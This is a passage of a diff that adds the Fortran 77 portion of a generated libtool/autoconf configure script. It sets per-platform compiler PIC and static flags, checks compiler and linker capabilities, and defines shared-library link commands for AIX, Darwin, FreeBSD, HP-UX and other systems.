lt_prog_compiler_static_F77='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + lt_prog_compiler_wl_F77='-Wl,' + # PIC (with -KPIC) is the default. + lt_prog_compiler_static_F77='-non_shared' + ;; + + newsos6) + lt_prog_compiler_pic_F77='-KPIC' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + linux*) + case $CC in + icc* | ecc*) + lt_prog_compiler_wl_F77='-Wl,' + lt_prog_compiler_pic_F77='-KPIC' + lt_prog_compiler_static_F77='-static' + ;; + ccc*) + lt_prog_compiler_wl_F77='-Wl,' + # All Alpha code is PIC. + lt_prog_compiler_static_F77='-non_shared' + ;; + esac + ;; + + osf3* | osf4* | osf5*) + lt_prog_compiler_wl_F77='-Wl,' + # All OSF/1 code is PIC. + lt_prog_compiler_static_F77='-non_shared' + ;; + + sco3.2v5*) + lt_prog_compiler_pic_F77='-Kpic' + lt_prog_compiler_static_F77='-dn' + ;; + + solaris*) + lt_prog_compiler_wl_F77='-Wl,' + lt_prog_compiler_pic_F77='-KPIC' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + sunos4*) + lt_prog_compiler_wl_F77='-Qoption ld ' + lt_prog_compiler_pic_F77='-PIC' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + lt_prog_compiler_wl_F77='-Wl,' + lt_prog_compiler_pic_F77='-KPIC' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + lt_prog_compiler_pic_F77='-Kconform_pic' + lt_prog_compiler_static_F77='-Bstatic' + fi + ;; + + uts4*) + lt_prog_compiler_pic_F77='-pic' + lt_prog_compiler_static_F77='-Bstatic' + ;; + + *) + lt_prog_compiler_can_build_shared_F77=no + ;; + esac + fi + +echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_F77" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_F77" >&6 + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic_F77"; then + +echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works" >&5 +echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works... $ECHO_C" >&6 +if test "${lt_prog_compiler_pic_works_F77+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_pic_works_F77=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic_F77" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:13559: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:13563: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_prog_compiler_pic_works_F77=yes + fi + fi + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works_F77" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_works_F77" >&6 + +if test x"$lt_prog_compiler_pic_works_F77" = xyes; then + case $lt_prog_compiler_pic_F77 in + "" | " "*) ;; + *) lt_prog_compiler_pic_F77=" $lt_prog_compiler_pic_F77" ;; + esac +else + lt_prog_compiler_pic_F77= + lt_prog_compiler_can_build_shared_F77=no +fi + +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic_F77= + ;; + *) + lt_prog_compiler_pic_F77="$lt_prog_compiler_pic_F77" + ;; +esac + +echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5 +echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6 +if test "${lt_cv_prog_compiler_c_o_F77+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_c_o_F77=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:13619: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:13623: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + lt_cv_prog_compiler_c_o_F77=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_F77" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_c_o_F77" >&6 + + +hard_links="nottested" +if test "$lt_cv_prog_compiler_c_o_F77" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 +echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6 + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + echo "$as_me:$LINENO: result: $hard_links" >&5 +echo "${ECHO_T}$hard_links" >&6 + if test "$hard_links" = no; then + { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 +echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + +echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6 + + runpath_var= + allow_undefined_flag_F77= + enable_shared_with_static_runtimes_F77=no + archive_cmds_F77= + archive_expsym_cmds_F77= + old_archive_From_new_cmds_F77= + old_archive_from_expsyms_cmds_F77= + export_dynamic_flag_spec_F77= + whole_archive_flag_spec_F77= + thread_safe_flag_spec_F77= + hardcode_libdir_flag_spec_F77= + hardcode_libdir_flag_spec_ld_F77= + hardcode_libdir_separator_F77= + hardcode_direct_F77=no + hardcode_minus_L_F77=no + hardcode_shlibpath_var_F77=unsupported + link_all_deplibs_F77=unknown + hardcode_automatic_F77=no + module_cmds_F77= + module_expsym_cmds_F77= + always_export_symbols_F77=no + export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + include_expsyms_F77= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + exclude_expsyms_F77="_GLOBAL_OFFSET_TABLE_" + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + ld_shlibs_F77=yes + if test "$with_gnu_ld" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # See if GNU ld supports shared libraries. + case $host_os in + aix3* | aix4* | aix5*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + ld_shlibs_F77=no + cat <<EOF 1>&2 + +*** Warning: the GNU linker, at least up to release 2.9.1, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to modify your PATH +*** so that a non-GNU linker is found, and then restart. + +EOF + fi + ;; + + amigaos*) + archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_minus_L_F77=yes + + # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports + # that the semantics of dynamic libraries on AmigaOS, at least up + # to version 4, is to share data among multiple programs linked + # with the same dynamic library. Since this doesn't match the + # behavior of shared libraries on other platforms, we can't use + # them. + ld_shlibs_F77=no + ;; + + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + allow_undefined_flag_F77=unsupported + # Joseph Beckenbach <jrb3@best.com> says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + archive_cmds_F77='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + ld_shlibs_F77=no + fi + ;; + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, F77) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec_F77='-L$libdir' + allow_undefined_flag_F77=unsupported + always_export_symbols_F77=no + enable_shared_with_static_runtimes_F77=yes + export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + archive_expsym_cmds_F77='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds_F77='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris* | sysv5*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + ld_shlibs_F77=no + cat <<EOF 1>&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +EOF + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs_F77=no + fi + ;; + + sunos4*) + archive_cmds_F77='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + linux*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + tmp_archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_cmds_F77="$tmp_archive_cmds" + supports_anon_versioning=no + case `$LD -v 2>/dev/null` in + *\ 01.* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + if test $supports_anon_versioning = yes; then + archive_expsym_cmds_F77='$echo "{ global:" > $output_objdir/$libname.ver~ +cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ +$echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + else + archive_expsym_cmds_F77="$tmp_archive_cmds" + fi + else + ld_shlibs_F77=no + fi + ;; + + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs_F77=no + fi + ;; + esac + + if test "$ld_shlibs_F77" = yes; then + runpath_var=LD_RUN_PATH + hardcode_libdir_flag_spec_F77='${wl}--rpath ${wl}$libdir' + export_dynamic_flag_spec_F77='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec_F77="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + whole_archive_flag_spec_F77= + fi + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + allow_undefined_flag_F77=unsupported + always_export_symbols_F77=yes + archive_expsym_cmds_F77='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + hardcode_minus_L_F77=yes + if test "$GCC" = yes && test -z "$link_static_flag"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + hardcode_direct_F77=unsupported + fi + ;; + + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + export_symbols_cmds_F77='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds_F77='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix5*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds_F77='' + hardcode_direct_F77=yes + hardcode_libdir_separator_F77=':' + link_all_deplibs_F77=yes + + if test "$GCC" = yes; then + case $host_os in aix4.012|aix4.012.*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + hardcode_direct_F77=yes + else + # We have old collect2 + hardcode_direct_F77=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L_F77=yes + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_libdir_separator_F77= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols_F77=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag_F77='-berok' + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF + program main + + end +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_f77_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath" + archive_expsym_cmds_F77="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec_F77='${wl}-R $libdir:/usr/lib:/lib' + allow_undefined_flag_F77="-z nodefs" + archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF + program main + + end +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_f77_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + no_undefined_flag_F77=' ${wl}-bernotok' + allow_undefined_flag_F77=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + always_export_symbols_F77=yes + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec_F77=' ' + archive_cmds_need_lc_F77=yes + # This is similar to how AIX traditionally builds it's shared libraries. + archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_minus_L_F77=yes + # see comment about different semantics on the GNU ld section + ld_shlibs_F77=no + ;; + + bsdi[45]*) + export_dynamic_flag_spec_F77=-rdynamic + ;; + + cygwin* | mingw* | pw32*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + hardcode_libdir_flag_spec_F77=' ' + allow_undefined_flag_F77=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + archive_cmds_F77='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + old_archive_From_new_cmds_F77='true' + # FIXME: Should let the user specify the lib program. + old_archive_cmds_F77='lib /OUT:$oldlib$oldobjs$old_deplibs' + fix_srcfile_path='`cygpath -w "$srcfile"`' + enable_shared_with_static_runtimes_F77=yes + ;; + + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[012]) + allow_undefined_flag_F77='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[012]) + allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + allow_undefined_flag_F77='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + archive_cmds_need_lc_F77=no + hardcode_direct_F77=no + hardcode_automatic_F77=yes + hardcode_shlibpath_var_F77=unsupported + whole_archive_flag_spec_F77='' + link_all_deplibs_F77=yes + if test "$GCC" = yes ; then + output_verbose_link_cmd='echo' + archive_cmds_F77='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + archive_cmds_F77='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + ld_shlibs_F77=no + ;; + esac + fi + ;; + + dgux*) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_shlibpath_var_F77=no + ;; + + freebsd1*) + ld_shlibs_F77=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + hardcode_libdir_flag_spec_F77='-R$libdir' + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2*) + archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=yes + hardcode_minus_L_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | kfreebsd*-gnu) + archive_cmds_F77='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec_F77='-R$libdir' + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + hpux9*) + if test "$GCC" = yes; then + archive_cmds_F77='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + archive_cmds_F77='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test 